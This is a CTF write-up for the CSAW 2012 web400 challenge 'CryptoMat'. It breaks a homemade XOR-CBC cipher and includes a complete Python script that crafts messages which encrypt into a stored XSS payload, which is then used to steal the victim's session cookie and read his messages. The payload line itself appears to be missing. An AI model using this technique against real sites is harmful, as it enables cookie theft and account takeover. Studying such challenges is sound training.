CSAW CTF 2012 write-up: CryptoMat (web400)

Here is the description of the challenge:
CryptoMat is a site where you can send encrypted messages to other users. Dog is a user on the site and has the key. Figure out how to get into his account and obtain it.

The first thing we had to do was finding out how the encryption algorithm works. After a few attempts, we discovered that the title wasn’t used for the encryption and that, given a plaintext P and a key k, we have

f(f(P, k), k)[i] = P[i] \text{ for all } i=0..\min(8, \mathtt{len(P)}) - 1

where f is the function that encrypts the text P using the key k. Furthermore, using a simple script, we found out that the length of each ciphered message is a multiple of 8.

For these reasons we thought that the algorithm works on blocks of 8 bytes and performs some XOR operations using the plaintext, the key and a third parameter: since we were able to decrypt the first block encrypting again the ciphertext with the same key, we thought that the first step uses a fixed constant for the encryption.

All these considerations led us to a CBC cipher, with the difference that the key isn’t as long as the block. Let’s assume that len(plaintext) is a multiple of 8 (if not it’s enough to add some \x00 bytes at the end); the encryption algorithm implemented by the service is the following:

def encrypt(key, plain, iv):
    cipher = ""
    for i in range(len(plain)):
        if i % 8 == 0 and i != 0:
            iv = [ord(cipher[j]) for j in range(i - 8, i)]
        cipher += chr(ord(plain[i]) ^ ord(key[i % len(key)]) ^ iv[i % 8])        
    return cipher

The parameter iv passed to the function is a list of 8 values used to crypt the first block of the plaintext: we can compute it using a sample text and the corresponding message ciphered with a known key.

Okay, at this point we knew how the algorithm works, but… what could we do? Easy, an XSS attack! We thought that the encrypted message was printed without performing any check, so our target was to find a message M such that, fixed a key k, f(M, k) was something like


To compute it was enough applying the decryption function f^{-1} to f(M, k) with key k, since f^{-1}(f(M, k), k) = M. Here is the Python script that we’ve used to do what we have just said:


import urllib2
import urllib
import argparse
import re

URL = ""

# We don't want to deal with cookies manually :)
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())

def get_iv(recipient, key, title, message):
    """Recover the initialization vector using the message, the key and the
    message encrypted by the service."""

    # Since the initialization vector is 8 bytes long, we need a plaintext long
    # at least 8 bytes to recover it completely.
    if len(message) < 8:
        message += (8 - len(message)) * " "
    # Send the message and recover the corresponding id.
    resp = opener.open(URL + "compose.php",
        urllib.urlencode({"to" : recipient, "key" : key, "title" : title, "text" : message}))
    lastId = re.findall("download\.php\?id=\d+", resp.read())[-1][16:]
    # Read the message encrypted by the site.
    resp = opener.open(URL + "download.php?id=" + lastId)
    encrypted = re.search('(.*?)',
        resp.read(), flags = re.MULTILINE | re.DOTALL).group(1)[2:]

    # Compute the initialization vector.
    return [ord(message[i]) ^ ord(encrypted[i]) ^ ord(key[i % len(key)]) for i in range(8)]

def decrypt(ciphertext, key, iv):
    """The decryption algorithm recovers the plaintext performing a xor with
    the key and: 
    * for the first block, the initialization vector,
    * for the i-th block, the (i-1)-th block bytes of the ciphertext,
    where block size is 8 bytes."""

    plaintext = ""
    for i in range(len(ciphertext)):
        if i % 8 == 0 and i != 0:
            iv = [ord(character) for character in plaintext[(i - 8):i]]
        plaintext += chr(ord(ciphertext[i]) ^ ord(key[i % len(key)]) ^ iv[i % 8])

    return plaintext

def main():
    # Retrieve arguments from command line.
    parser = argparse.ArgumentParser(description="Script for solving the challenge 'web400' of CSAW 2012")
    parser.add_argument("-u", "--username", type=str, required=True,
        help="Username of the account that will be used to send the message")
    parser.add_argument("-p", "--password", type=str, required=True,
        help="Password associated to the username")
    parser.add_argument("-r", "--recipient", type=str, required=True,
        help="Username to whom we want to send the message")
    parser.add_argument("-t", "--title", type=str, default=" ",
        help="Title of the message")
    parser.add_argument("-k", "--key", type=str, default=" ",
        help="key that will be used for the encryption and decryption of the message")
    parser.add_argument("-m", "--message", type=str, required=True,
        help="Message that has to be shown to the user")
    args = parser.parse_args()

    # Login to the site.
    opener.open(URL + "login.php",
        urllib.urlencode({"name" : args.username, "pass" : args.password}))
    # Recover the initialization vector.
    iv = get_iv(args.recipient, args.key, args.title, args.message)
    # Given that encrypt(decrypt(X)) = X (O'RLY!?), send a decrypted message to
    # the user. It (it's a Dog after all!) will receive the text provided on
    # command line.
    dec = decrypt(args.message, args.key, iv)
    opener.open(URL + "compose.php", urllib.urlencode({"to" : args.recipient, 
        "key" : args.key, "title" : args.title, "text" : dec}))

if __name__ == "__main__":

Using the stolen cookie, we’ve been able to login as Dog:

  • here there was a message sent to Cat (with id 3) that we’ve been able to decrypt using a key reported in the title of the answer sent by Cat (message with id 4): the plaintext was Catsareawesome;
  • this plaintext is the key used to encrypt the message with id=1 that contained the flag we were looking for 🙂